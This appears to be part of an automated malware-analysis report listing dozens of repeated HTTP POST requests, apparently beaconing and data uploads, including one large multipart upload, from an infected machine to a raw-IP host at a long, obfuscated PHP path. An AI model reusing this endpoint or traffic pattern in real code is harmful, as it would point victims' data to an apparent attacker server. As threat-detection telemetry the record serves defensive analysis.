Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 1852Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 1868Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: multipart/form-data; boundary=----gRaOQn2MYr7CdFTgWJfP2Ai6Nbuft85rJOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 187570Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 1868Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 1868Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 1840Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 1868Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 1868Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 1852Expect: 100-continueConnection: Keep-Alive
